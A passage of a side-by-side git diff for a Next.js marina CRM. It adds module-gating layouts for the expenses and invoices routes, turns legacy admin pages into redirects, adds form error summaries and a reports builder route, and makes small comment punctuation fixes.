||||||
|
|
||||||
const entries = useMemo(() => {
|
const entries = useMemo(() => {
|
||||||
const all = Object.entries(ERROR_CODES) as Array<
|
const all = Object.entries(ERROR_CODES) as Array<
|
||||||
[string, (typeof ERROR_CODES)[keyof typeof ERROR_CODES]]
|
[string, (typeof ERROR_CODES)[keyof typeof ERROR_CODES]]
|
||||||
@@ -39,7 +47,7 @@ export default function ErrorCodeReferencePage() {
|
|||||||
}, [search]);
|
}, [search]);
|
||||||
|
|
||||||
// Group by domain prefix (the part before the first underscore) so
|
// Group by domain prefix (the part before the first underscore) so
|
||||||
// the table reads naturally — Expenses, Berths, Storage, etc.
|
// the table reads naturally - Expenses, Berths, Storage, etc.
|
||||||
const grouped = useMemo(() => {
|
const grouped = useMemo(() => {
|
||||||
const groups = new Map<string, typeof entries>();
|
const groups = new Map<string, typeof entries>();
|
||||||
for (const entry of entries) {
|
for (const entry of entries) {
|
||||||
@@ -53,15 +61,6 @@ export default function ErrorCodeReferencePage() {
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="space-y-4">
|
<div className="space-y-4">
|
||||||
<div className="flex items-center gap-2">
|
|
||||||
<Button variant="ghost" size="sm" asChild>
|
|
||||||
<Link href={`/${portSlug}/admin/errors` as Route}>
|
|
||||||
<ArrowLeft className="mr-1.5 h-4 w-4" />
|
|
||||||
Back to error inspector
|
|
||||||
</Link>
|
|
||||||
</Button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="flex items-start justify-between gap-4 flex-wrap">
|
<div className="flex items-start justify-between gap-4 flex-wrap">
|
||||||
<div>
|
<div>
|
||||||
<h1 className="text-2xl font-bold flex items-center gap-2">
|
<h1 className="text-2xl font-bold flex items-center gap-2">
|
||||||
|
|||||||
@@ -62,7 +62,7 @@ export default function DataImportPage() {
|
|||||||
<li>Dry-run preview that shows new vs. matched-existing rows before commit.</li>
|
<li>Dry-run preview that shows new vs. matched-existing rows before commit.</li>
|
||||||
<li>Conflict-resolution choices (skip, update, dedup-by-email) per import type.</li>
|
<li>Conflict-resolution choices (skip, update, dedup-by-email) per import type.</li>
|
||||||
<li>Per-port import history with rollback.</li>
|
<li>Per-port import history with rollback.</li>
|
||||||
<li>Templates for clients, yachts, companies, berths, reservations, expenses.</li>
|
<li>Templates for clients, yachts, companies, berths, tenancies, expenses.</li>
|
||||||
</ul>
|
</ul>
|
||||||
<p className="text-xs text-muted-foreground pt-2">
|
<p className="text-xs text-muted-foreground pt-2">
|
||||||
Imports run against the BullMQ <code>import</code> queue (concurrency 1) so partial
|
Imports run against the BullMQ <code>import</code> queue (concurrency 1) so partial
|
||||||
|
|||||||
@@ -1,5 +1,19 @@
|
|||||||
import { OcrSettingsForm } from '@/components/admin/ocr-settings-form';
|
import { redirect } from 'next/navigation';
|
||||||
|
|
||||||
export default function OcrSettingsPage() {
|
/**
|
||||||
return <OcrSettingsForm />;
|
* Legacy route. OCR settings now live on the consolidated AI panel at
|
||||||
|
* `/admin/ai` (the same `<OcrSettingsForm>` is mounted there alongside
|
||||||
|
* the master AI switch + provider credentials). Kept as a redirect-only
|
||||||
|
* page so any bookmarks / docs / deep links land on the right surface.
|
||||||
|
*
|
||||||
|
* Slated for full removal once the 2026-05-22 admin IA migration has
|
||||||
|
* had a quarter to bed in.
|
||||||
|
*/
|
||||||
|
export default async function OcrLegacyRedirectPage({
|
||||||
|
params,
|
||||||
|
}: {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
redirect(`/${portSlug}/admin/ai`);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -85,7 +85,7 @@ export default function PipelineRulesPage() {
|
|||||||
});
|
});
|
||||||
|
|
||||||
// Hydrate the local form once the server-side state arrives. We treat
|
// Hydrate the local form once the server-side state arrives. We treat
|
||||||
// missing keys as the registered default — the page's persisted JSON
|
// missing keys as the registered default - the page's persisted JSON
|
||||||
// doesn't have to enumerate every trigger, just the overrides.
|
// doesn't have to enumerate every trigger, just the overrides.
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const persisted = data?.data?.values?.stage_advance_rules?.value;
|
const persisted = data?.data?.values?.stage_advance_rules?.value;
|
||||||
@@ -256,7 +256,7 @@ function PresetButton({
|
|||||||
>
|
>
|
||||||
<p className="text-sm font-semibold">{label}</p>
|
<p className="text-sm font-semibold">{label}</p>
|
||||||
<p className="text-xs text-muted-foreground">{description}</p>
|
<p className="text-xs text-muted-foreground">{description}</p>
|
||||||
<p className="mt-1 text-[10px] uppercase tracking-wide text-muted-foreground">
|
<p className="mt-1 text-xs uppercase tracking-wide text-muted-foreground">
|
||||||
{name === 'aggressive' ? 'auto for all triggers' : 'suggest for all triggers'}
|
{name === 'aggressive' ? 'auto for all triggers' : 'suggest for all triggers'}
|
||||||
</p>
|
</p>
|
||||||
</button>
|
</button>
|
||||||
|
|||||||
@@ -1,5 +1,21 @@
|
|||||||
import { ReportsDashboard } from '@/components/admin/reports-dashboard';
|
import { redirect } from 'next/navigation';
|
||||||
|
|
||||||
export default function AdminReportsPage() {
|
/**
|
||||||
return <ReportsDashboard />;
|
* 2026-05-22: `/admin/reports` deleted. The page rendered three cards
|
||||||
|
* - Pipeline funnel, Berth occupancy, and a KPI grid - all of which
|
||||||
|
* are already covered by the main Dashboard widgets (`pipeline_funnel`,
|
||||||
|
* `occupancy_timeline`, `kpi_*`). Redirecting to the dashboard so any
|
||||||
|
* lingering bookmarks land somewhere coherent.
|
||||||
|
*
|
||||||
|
* The `<ReportsDashboard>` component file lives on in the repo for now
|
||||||
|
* pending a follow-up sweep - once we confirm no other surface mounts
|
||||||
|
* it, the component + its data hook can be removed too.
|
||||||
|
*/
|
||||||
|
export default async function ReportsLegacyRedirectPage({
|
||||||
|
params,
|
||||||
|
}: {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
redirect(`/${portSlug}/dashboard`);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ export default function ResidentialStagesPage() {
|
|||||||
/>
|
/>
|
||||||
<ResidentialStagesAdmin />
|
<ResidentialStagesAdmin />
|
||||||
|
|
||||||
{/* Partner forwarding — sits on the same admin page so all
|
{/* Partner forwarding - sits on the same admin page so all
|
||||||
residential-only port settings live in one place. Reps still
|
residential-only port settings live in one place. Reps still
|
||||||
see every inquiry in the CRM; this is an outbound courtesy
|
see every inquiry in the CRM; this is an outbound courtesy
|
||||||
notification for the partner who handles residential leads. */}
|
notification for the partner who handles residential leads. */}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import { TemplateEditor } from '@/components/admin/templates/template-editor';
|
import { TemplateEditor } from '@/components/admin/templates/template-editor';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Phase 7.1 — PDF template editor (read + place markers).
|
* Phase 7.1 - PDF template editor (read + place markers).
|
||||||
*
|
*
|
||||||
* Renders the source PDF for the selected template and lets the admin
|
* Renders the source PDF for the selected template and lets the admin
|
||||||
* drop merge-field markers by clicking on the page. Persists the marker
|
* drop merge-field markers by clicking on the page. Persists the marker
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import { PageHeader } from '@/components/shared/page-header';
|
|||||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs';
|
import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* "People with access" surface — covers BOTH currently-active CRM users
|
* "People with access" surface - covers BOTH currently-active CRM users
|
||||||
* and pending invitations. Previously these lived on separate routes
|
* and pending invitations. Previously these lived on separate routes
|
||||||
* (/admin/users + /admin/invitations); merged 2026-05-21 so admins land
|
* (/admin/users + /admin/invitations); merged 2026-05-21 so admins land
|
||||||
* on one page and tab between states. The standalone /admin/invitations
|
* on one page and tab between states. The standalone /admin/invitations
|
||||||
|
|||||||
@@ -50,15 +50,15 @@ const FIELDS: SettingFieldDef[] = [
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
key: 'umami_api_token',
|
key: 'umami_api_token',
|
||||||
label: 'API key (Umami Cloud only — optional)',
|
label: 'API key (Umami Cloud only - optional)',
|
||||||
description:
|
description:
|
||||||
'Only fill this if you use Umami Cloud, which uses a long-lived API key instead of username/password. Leave blank for self-hosted installs — the username + password above are used instead. Stored AES-256-GCM at rest.',
|
'Only fill this if you use Umami Cloud, which uses a long-lived API key instead of username/password. Leave blank for self-hosted installs - the username + password above are used instead. Stored AES-256-GCM at rest.',
|
||||||
type: 'password',
|
type: 'password',
|
||||||
defaultValue: '',
|
defaultValue: '',
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
|
|
||||||
// Tracking-pixel kill switch — opt-in per port. When enabled, outbound
|
// Tracking-pixel kill switch - opt-in per port. When enabled, outbound
|
||||||
// sales sends embed a 1×1 pixel pointing at /api/public/email-pixel that
|
// sales sends embed a 1×1 pixel pointing at /api/public/email-pixel that
|
||||||
// records opens to `document_send_opens` and cross-posts to Umami.
|
// records opens to `document_send_opens` and cross-posts to Umami.
|
||||||
const TRACKING_FIELDS: SettingFieldDef[] = [
|
const TRACKING_FIELDS: SettingFieldDef[] = [
|
||||||
@@ -66,7 +66,7 @@ const TRACKING_FIELDS: SettingFieldDef[] = [
|
|||||||
key: 'email_open_tracking_enabled',
|
key: 'email_open_tracking_enabled',
|
||||||
label: 'Track email opens',
|
label: 'Track email opens',
|
||||||
description:
|
description:
|
||||||
'Embeds an invisible 1×1 tracking pixel in outbound sales emails. Each open is recorded in the CRM and cross-posted to Umami as an "email-opened" event. Apple Mail privacy proxy will over-count; clients that block images will under-count — standard email-tracking caveats apply.',
|
'Embeds an invisible 1×1 tracking pixel in outbound sales emails. Each open is recorded in the CRM and cross-posted to Umami as an "email-opened" event. Apple Mail privacy proxy will over-count; clients that block images will under-count - standard email-tracking caveats apply.',
|
||||||
type: 'boolean',
|
type: 'boolean',
|
||||||
defaultValue: false,
|
defaultValue: false,
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import { redirect } from 'next/navigation';
|
import { redirect } from 'next/navigation';
|
||||||
|
|
||||||
// Legacy /alerts route — merged into /inbox in 2026-05-11. The hash
|
// Legacy /alerts route - merged into /inbox in 2026-05-11. The hash
|
||||||
// scrolls + expands the Alerts section on the merged page, so old
|
// scrolls + expands the Alerts section on the merged page, so old
|
||||||
// bookmarks land in the right spot.
|
// bookmarks land in the right spot.
|
||||||
export default async function AlertsRedirect({
|
export default async function AlertsRedirect({
|
||||||
|
|||||||
@@ -1,10 +0,0 @@
|
|||||||
import { ReservationDetail } from '@/components/reservations/reservation-detail';
|
|
||||||
|
|
||||||
interface PageProps {
|
|
||||||
params: Promise<{ portSlug: string; id: string }>;
|
|
||||||
}
|
|
||||||
|
|
||||||
export default async function ReservationDetailPage({ params }: PageProps) {
|
|
||||||
const { portSlug, id } = await params;
|
|
||||||
return <ReservationDetail reservationId={id} portSlug={portSlug} />;
|
|
||||||
}
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
import { BerthReservationsList } from '@/components/reservations/berth-reservations-list';
|
|
||||||
|
|
||||||
export default function BerthReservationsPage() {
|
|
||||||
return <BerthReservationsList />;
|
|
||||||
}
|
|
||||||
47
src/app/(dashboard)/[portSlug]/expenses/layout.tsx
Normal file
47
src/app/(dashboard)/[portSlug]/expenses/layout.tsx
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
import { notFound } from 'next/navigation';
|
||||||
|
import { eq } from 'drizzle-orm';
|
||||||
|
|
||||||
|
import { db } from '@/lib/db';
|
||||||
|
import { ports as portsTable } from '@/lib/db/schema/ports';
|
||||||
|
import { isExpensesModuleEnabled } from '@/lib/services/expenses-module.service';
|
||||||
|
import { ModuleDisabledPage } from '@/components/shared/module-disabled-page';
|
||||||
|
|
||||||
|
interface ExpensesLayoutProps {
|
||||||
|
children: React.ReactNode;
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Layout-level gate for the entire /expenses subtree (list, scan,
|
||||||
|
* detail). When the port has expenses_module_enabled = false, every
|
||||||
|
* route under /expenses renders the ModuleDisabledPage instead of the
|
||||||
|
* real content. This is the route-level half of the "hybrid hide+block"
|
||||||
|
* model (the sidebar entries are independently hidden via
|
||||||
|
* expensesModuleByPort on the SSR-resolved sidebar prop).
|
||||||
|
*
|
||||||
|
* Using a layout rather than per-page guards means: (a) one place to
|
||||||
|
* change the gate logic, (b) nested routes (scan, [id]) are covered
|
||||||
|
* automatically, (c) the children subtree never mounts when disabled,
|
||||||
|
* so its data-fetching effects don't fire.
|
||||||
|
*/
|
||||||
|
export default async function ExpensesLayout({ children, params }: ExpensesLayoutProps) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
const port = await db.query.ports.findFirst({
|
||||||
|
where: eq(portsTable.slug, portSlug),
|
||||||
|
columns: { id: true },
|
||||||
|
});
|
||||||
|
// Fail closed: an unresolved slug means the port doesn't exist (or the
|
||||||
|
// user mistyped one) — 404 rather than silently rendering the gated
|
||||||
|
// subtree without a module check.
|
||||||
|
if (!port) notFound();
|
||||||
|
const enabled = await isExpensesModuleEnabled(port.id);
|
||||||
|
if (enabled) return children;
|
||||||
|
return (
|
||||||
|
<ModuleDisabledPage
|
||||||
|
moduleName="Expenses"
|
||||||
|
description="Expense tracking and receipt upload are turned off for this port. Previously-recorded expense rows are preserved and will reappear when the module is re-enabled."
|
||||||
|
settingsHref={`/${portSlug}/admin/settings`}
|
||||||
|
fallbackHref={`/${portSlug}/dashboard`}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -45,7 +45,7 @@ export default function ScanReceiptPage() {
|
|||||||
const [previewUrl, setPreviewUrl] = useState<string | null>(null);
|
const [previewUrl, setPreviewUrl] = useState<string | null>(null);
|
||||||
// After OCR succeeds we also upload the receipt to /api/v1/files/upload
|
// After OCR succeeds we also upload the receipt to /api/v1/files/upload
|
||||||
// so the expense links to the actual image. The legacy scanner skipped
|
// so the expense links to the actual image. The legacy scanner skipped
|
||||||
// this step and saved expenses without their receipt — which silently
|
// this step and saved expenses without their receipt - which silently
|
||||||
// disqualified them from parent-company reimbursement (the warning the
|
// disqualified them from parent-company reimbursement (the warning the
|
||||||
// PDF export now surfaces).
|
// PDF export now surfaces).
|
||||||
const [uploadedFile, setUploadedFile] = useState<UploadedFileMeta | null>(null);
|
const [uploadedFile, setUploadedFile] = useState<UploadedFileMeta | null>(null);
|
||||||
@@ -365,7 +365,7 @@ export default function ScanReceiptPage() {
|
|||||||
disabled={
|
disabled={
|
||||||
saveMutation.isPending ||
|
saveMutation.isPending ||
|
||||||
!amount ||
|
!amount ||
|
||||||
// Block save while the receipt upload is still in flight —
|
// Block save while the receipt upload is still in flight -
|
||||||
// otherwise the rep can hit Save before the storage round
|
// otherwise the rep can hit Save before the storage round
|
||||||
// trip finishes and the expense lands without `receiptFileIds`,
|
// trip finishes and the expense lands without `receiptFileIds`,
|
||||||
// silently re-creating the legacy receipt-loss bug.
|
// silently re-creating the legacy receipt-loss bug.
|
||||||
|
|||||||
46
src/app/(dashboard)/[portSlug]/invoices/layout.tsx
Normal file
46
src/app/(dashboard)/[portSlug]/invoices/layout.tsx
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
import { notFound } from 'next/navigation';
|
||||||
|
import { eq } from 'drizzle-orm';
|
||||||
|
|
||||||
|
import { db } from '@/lib/db';
|
||||||
|
import { ports as portsTable } from '@/lib/db/schema/ports';
|
||||||
|
import { isInvoicesModuleEnabled } from '@/lib/services/invoices-module.service';
|
||||||
|
import { ModuleDisabledPage } from '@/components/shared/module-disabled-page';
|
||||||
|
|
||||||
|
interface InvoicesLayoutProps {
|
||||||
|
children: React.ReactNode;
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Layout-level gate for the standalone `/invoices` flow (list, new,
|
||||||
|
* detail, upload-receipts). Default is OFF: the canonical "money
|
||||||
|
* received" path in this CRM is the per-interest Payments tab; the
|
||||||
|
* standalone invoicing surface only matters when an operator wants to
|
||||||
|
* generate client-facing invoices from the CRM itself (rare). Admins
|
||||||
|
* can opt in from Admin → Operations.
|
||||||
|
*
|
||||||
|
* Existing invoice rows are preserved when the module is disabled —
|
||||||
|
* the API endpoints still respond so historical PDF links / webhook
|
||||||
|
* callbacks keep resolving. Only the UI is hidden.
|
||||||
|
*/
|
||||||
|
export default async function InvoicesLayout({ children, params }: InvoicesLayoutProps) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
const port = await db.query.ports.findFirst({
|
||||||
|
where: eq(portsTable.slug, portSlug),
|
||||||
|
columns: { id: true },
|
||||||
|
});
|
||||||
|
// Fail closed: an unresolved slug means the port doesn't exist (or the
|
||||||
|
// user mistyped one) — 404 rather than silently rendering the gated
|
||||||
|
// subtree without a module check.
|
||||||
|
if (!port) notFound();
|
||||||
|
const enabled = await isInvoicesModuleEnabled(port.id);
|
||||||
|
if (enabled) return children;
|
||||||
|
return (
|
||||||
|
<ModuleDisabledPage
|
||||||
|
moduleName="Standalone invoicing"
|
||||||
|
description="The standalone /invoices flow is turned off for this port. The canonical money-received path here is the per-interest Payments tab — that's where to record deposits and balance payments. Existing invoice rows are preserved and will reappear when the module is re-enabled."
|
||||||
|
settingsHref={`/${portSlug}/admin/settings`}
|
||||||
|
fallbackHref={`/${portSlug}/dashboard`}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -24,6 +24,8 @@ import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
|
|||||||
import { OwnerPicker } from '@/components/shared/owner-picker';
|
import { OwnerPicker } from '@/components/shared/owner-picker';
|
||||||
import { CurrencySelect } from '@/components/shared/currency-select';
|
import { CurrencySelect } from '@/components/shared/currency-select';
|
||||||
import { InvoiceLineItems } from '@/components/invoices/invoice-line-items';
|
import { InvoiceLineItems } from '@/components/invoices/invoice-line-items';
|
||||||
|
import { FormErrorSummary } from '@/components/forms/form-error-summary';
|
||||||
|
import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
|
||||||
import { apiFetch } from '@/lib/api/client';
|
import { apiFetch } from '@/lib/api/client';
|
||||||
import { formatCurrency } from '@/lib/utils/currency';
|
import { formatCurrency } from '@/lib/utils/currency';
|
||||||
import type { z } from 'zod';
|
import type { z } from 'zod';
|
||||||
@@ -96,6 +98,7 @@ export default function NewInvoicePage() {
|
|||||||
setValue,
|
setValue,
|
||||||
formState: { errors },
|
formState: { errors },
|
||||||
} = methods;
|
} = methods;
|
||||||
|
const submitWithScroll = useFormScrollToError(handleSubmit, errors);
|
||||||
|
|
||||||
const watchedValues = watch();
|
const watchedValues = watch();
|
||||||
const isDepositInvoice = watchedValues.kind === 'deposit';
|
const isDepositInvoice = watchedValues.kind === 'deposit';
|
||||||
@@ -219,7 +222,18 @@ export default function NewInvoicePage() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<FormProvider {...methods}>
|
<FormProvider {...methods}>
|
||||||
<form onSubmit={handleSubmit(onSubmit)} className="space-y-6">
|
<form onSubmit={submitWithScroll(onSubmit)} className="space-y-6">
|
||||||
|
<FormErrorSummary
|
||||||
|
errors={errors}
|
||||||
|
labels={{
|
||||||
|
billingEntity: 'Billing entity',
|
||||||
|
billingEmail: 'Billing email',
|
||||||
|
dueDate: 'Due date',
|
||||||
|
lineItems: 'Line items',
|
||||||
|
currency: 'Currency',
|
||||||
|
paymentTerms: 'Payment terms',
|
||||||
|
}}
|
||||||
|
/>
|
||||||
{/* Step 1: Client Info */}
|
{/* Step 1: Client Info */}
|
||||||
{step === 1 && (
|
{step === 1 && (
|
||||||
<Card>
|
<Card>
|
||||||
|
|||||||
@@ -1,6 +1,11 @@
|
|||||||
import type { Metadata } from 'next';
|
import type { Metadata } from 'next';
|
||||||
|
import { eq } from 'drizzle-orm';
|
||||||
|
|
||||||
import { UploadReceiptsGuide } from '@/components/invoices/upload-receipts-guide';
|
import { UploadReceiptsGuide } from '@/components/invoices/upload-receipts-guide';
|
||||||
|
import { db } from '@/lib/db';
|
||||||
|
import { ports as portsTable } from '@/lib/db/schema/ports';
|
||||||
|
import { isExpensesModuleEnabled } from '@/lib/services/expenses-module.service';
|
||||||
|
import { ModuleDisabledPage } from '@/components/shared/module-disabled-page';
|
||||||
|
|
||||||
export const metadata: Metadata = {
|
export const metadata: Metadata = {
|
||||||
title: 'How to upload receipts',
|
title: 'How to upload receipts',
|
||||||
@@ -12,5 +17,23 @@ export default async function UploadReceiptsPage({
|
|||||||
params: Promise<{ portSlug: string }>;
|
params: Promise<{ portSlug: string }>;
|
||||||
}) {
|
}) {
|
||||||
const { portSlug } = await params;
|
const { portSlug } = await params;
|
||||||
|
// Mirrors the /expenses layout gate: the receipt-upload explainer is
|
||||||
|
// part of the expenses surface, so the same port-scoped toggle
|
||||||
|
// blocks it. /invoices/upload-receipts isn't under /expenses, so a
|
||||||
|
// separate gate is needed here.
|
||||||
|
const port = await db.query.ports.findFirst({
|
||||||
|
where: eq(portsTable.slug, portSlug),
|
||||||
|
columns: { id: true },
|
||||||
|
});
|
||||||
|
if (port && !(await isExpensesModuleEnabled(port.id))) {
|
||||||
|
return (
|
||||||
|
<ModuleDisabledPage
|
||||||
|
moduleName="Expenses"
|
||||||
|
description="Receipt upload is part of the Expenses module, which is turned off for this port."
|
||||||
|
settingsHref={`/${portSlug}/admin/settings`}
|
||||||
|
fallbackHref={`/${portSlug}/dashboard`}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
return <UploadReceiptsGuide portSlug={portSlug} />;
|
return <UploadReceiptsGuide portSlug={portSlug} />;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import { redirect } from 'next/navigation';
|
import { redirect } from 'next/navigation';
|
||||||
|
|
||||||
// Legacy /reminders route — merged into /inbox in 2026-05-11. The hash
|
// Legacy /reminders route - merged into /inbox in 2026-05-11. The hash
|
||||||
// scrolls + expands the Reminders section on the merged page.
|
// scrolls + expands the Reminders section on the merged page.
|
||||||
export default async function RemindersRedirect({
|
export default async function RemindersRedirect({
|
||||||
params,
|
params,
|
||||||
|
|||||||
172
src/app/(dashboard)/[portSlug]/reports/[kind]/page.tsx
Normal file
172
src/app/(dashboard)/[portSlug]/reports/[kind]/page.tsx
Normal file
@@ -0,0 +1,172 @@
|
|||||||
|
import { notFound } from 'next/navigation';
|
||||||
|
import Link from 'next/link';
|
||||||
|
import type { Route } from 'next';
|
||||||
|
import { ArrowRight, ChevronLeft, Wrench } from 'lucide-react';
|
||||||
|
|
||||||
|
import { PageHeader } from '@/components/shared/page-header';
|
||||||
|
import { Button } from '@/components/ui/button';
|
||||||
|
import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
|
||||||
|
import { DashboardReportBuilder } from '@/components/reports/builders/dashboard-report-builder';
|
||||||
|
import { SimpleReportBuilder } from '@/components/reports/builders/simple-report-builder';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Two generations of report kinds live here:
|
||||||
|
*
|
||||||
|
* - LEGACY_KINDS: the original 2026-Q1 builders (dashboard, clients,
|
||||||
|
* berths, interests). Functional today via the existing
|
||||||
|
* SimpleReportBuilder / DashboardReportBuilder.
|
||||||
|
* - NEW_KINDS: the four canonical categories from the 2026-05-27 launch
|
||||||
|
* initiative (sales, financial, marketing, operational), plus the
|
||||||
|
* custom ad-hoc composer. Each currently renders a placeholder so
|
||||||
|
* the new landing page routes here without 404-ing; the actual
|
||||||
|
* builders ship per the launch-readiness doc.
|
||||||
|
*/
|
||||||
|
const LEGACY_KINDS = ['dashboard', 'clients', 'berths', 'interests'] as const;
|
||||||
|
const NEW_KINDS = ['sales', 'financial', 'marketing', 'operational', 'custom'] as const;
|
||||||
|
|
||||||
|
type LegacyKind = (typeof LEGACY_KINDS)[number];
|
||||||
|
type NewKind = (typeof NEW_KINDS)[number];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* NEW_KINDS that have a card on the /reports landing page each own a
|
||||||
|
* dedicated route (reports/sales, reports/operational, reports/financial,
|
||||||
|
* reports/custom) which shadows this dynamic segment. The only NEW_KIND that
|
||||||
|
* still resolves here is `marketing`, whose builder is blocked on the website
|
||||||
|
* cutover (launch-readiness Initiative 1b) and currently renders only an "in
|
||||||
|
* development" placeholder. Gate it to a 404 for beta so it can't be reached
|
||||||
|
* via a hand-typed URL or a stale saved template. Remove the entry when the
|
||||||
|
* Marketing report ships.
|
||||||
|
*/
|
||||||
|
const UNAVAILABLE_NEW_KINDS: readonly NewKind[] = ['marketing'];
|
||||||
|
|
||||||
|
interface PageProps {
|
||||||
|
params: Promise<{ portSlug: string; kind: string }>;
|
||||||
|
searchParams: Promise<{ from?: string; to?: string }>;
|
||||||
|
}
|
||||||
|
|
||||||
|
const LEGACY_LABELS: Record<LegacyKind, { title: string; description: string }> = {
|
||||||
|
dashboard: {
|
||||||
|
title: 'Dashboard report',
|
||||||
|
description: 'Multi-section PDF of the port dashboard - pick which sections to include.',
|
||||||
|
},
|
||||||
|
clients: { title: 'Clients report', description: 'Activity snapshot for active clients.' },
|
||||||
|
berths: { title: 'Berths report', description: 'Occupancy + status mix per berth.' },
|
||||||
|
interests: { title: 'Interests report', description: 'Pipeline value + stage distribution.' },
|
||||||
|
};
|
||||||
|
|
||||||
|
const NEW_LABELS: Record<NewKind, { title: string; description: string }> = {
|
||||||
|
sales: {
|
||||||
|
title: 'Sales performance',
|
||||||
|
description: 'Rep leaderboards, win rates, time-to-close, stalled deals, conversion funnel.',
|
||||||
|
},
|
||||||
|
financial: {
|
||||||
|
title: 'Financial',
|
||||||
|
description: 'Revenue by month, deposits collected, AR aging, EOI to revenue conversion.',
|
||||||
|
},
|
||||||
|
marketing: {
|
||||||
|
title: 'Marketing & funnel',
|
||||||
|
description: 'Lead source ROI, inquiry-to-EOI conversion, attribution by campaign.',
|
||||||
|
},
|
||||||
|
operational: {
|
||||||
|
title: 'Operational',
|
||||||
|
description: 'Berth utilisation, occupancy heatmap, tenancy churn, signing turnaround.',
|
||||||
|
},
|
||||||
|
custom: {
|
||||||
|
title: 'Custom report',
|
||||||
|
description:
|
||||||
|
'Compose your own. Pick an entity, choose columns and filters, group by any dimension.',
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
export default async function ReportBuilderPage({ params, searchParams }: PageProps) {
|
||||||
|
const { portSlug, kind } = await params;
|
||||||
|
const { from, to } = await searchParams;
|
||||||
|
|
||||||
|
const isLegacy = (LEGACY_KINDS as readonly string[]).includes(kind);
|
||||||
|
const isNew = (NEW_KINDS as readonly string[]).includes(kind);
|
||||||
|
if (!isLegacy && !isNew) notFound();
|
||||||
|
|
||||||
|
// Unbuilt report kinds (currently just Marketing) 404 rather than show the
|
||||||
|
// "in development" placeholder — keeps the beta reports surface looking
|
||||||
|
// complete. See UNAVAILABLE_NEW_KINDS above.
|
||||||
|
if ((UNAVAILABLE_NEW_KINDS as readonly string[]).includes(kind)) notFound();
|
||||||
|
|
||||||
|
if (isLegacy) {
|
||||||
|
const typedKind = kind as LegacyKind;
|
||||||
|
const labels = LEGACY_LABELS[typedKind];
|
||||||
|
return (
|
||||||
|
<div className="space-y-4">
|
||||||
|
<PageHeader eyebrow="Reports" title={labels.title} description={labels.description} />
|
||||||
|
{typedKind === 'dashboard' ? (
|
||||||
|
<DashboardReportBuilder portSlug={portSlug} initialFrom={from} initialTo={to} />
|
||||||
|
) : (
|
||||||
|
<SimpleReportBuilder portSlug={portSlug} kind={typedKind} />
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// New-kind placeholder. Uses the standard PageHeader + Card pattern so
|
||||||
|
// it reads as part of the same app while the actual builders ship.
|
||||||
|
const typedKind = kind as NewKind;
|
||||||
|
const labels = NEW_LABELS[typedKind];
|
||||||
|
return (
|
||||||
|
<div className="space-y-4">
|
||||||
|
<PageHeader eyebrow="Reports" title={labels.title} description={labels.description} />
|
||||||
|
|
||||||
|
<Card>
|
||||||
|
<CardHeader className="flex flex-row items-start gap-3 space-y-0">
|
||||||
|
<Wrench className="h-5 w-5 mt-0.5 text-muted-foreground" aria-hidden />
|
||||||
|
<div className="flex-1">
|
||||||
|
<CardTitle className="text-base">Builder in development</CardTitle>
|
||||||
|
<CardDescription className="mt-1">
|
||||||
|
The {labels.title.toLowerCase()} builder is shipping as part of the active launch
|
||||||
|
initiative. In the meantime the legacy builders below cover most of the same data.
|
||||||
|
</CardDescription>
|
||||||
|
</div>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent className="space-y-4">
|
||||||
|
<div className="flex flex-wrap gap-2">
|
||||||
|
<Button asChild variant="outline" size="sm">
|
||||||
|
<Link href={`/${portSlug}/reports` as Route}>
|
||||||
|
<ChevronLeft className="mr-1.5 h-4 w-4" aria-hidden />
|
||||||
|
Back to reports
|
||||||
|
</Link>
|
||||||
|
</Button>
|
||||||
|
<Button asChild size="sm">
|
||||||
|
<Link href={`/${portSlug}/reports/dashboard` as Route}>
|
||||||
|
Open dashboard report
|
||||||
|
<ArrowRight className="ml-1.5 h-4 w-4" aria-hidden />
|
||||||
|
</Link>
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
|
||||||
|
<section className="space-y-3">
|
||||||
|
<div>
|
||||||
|
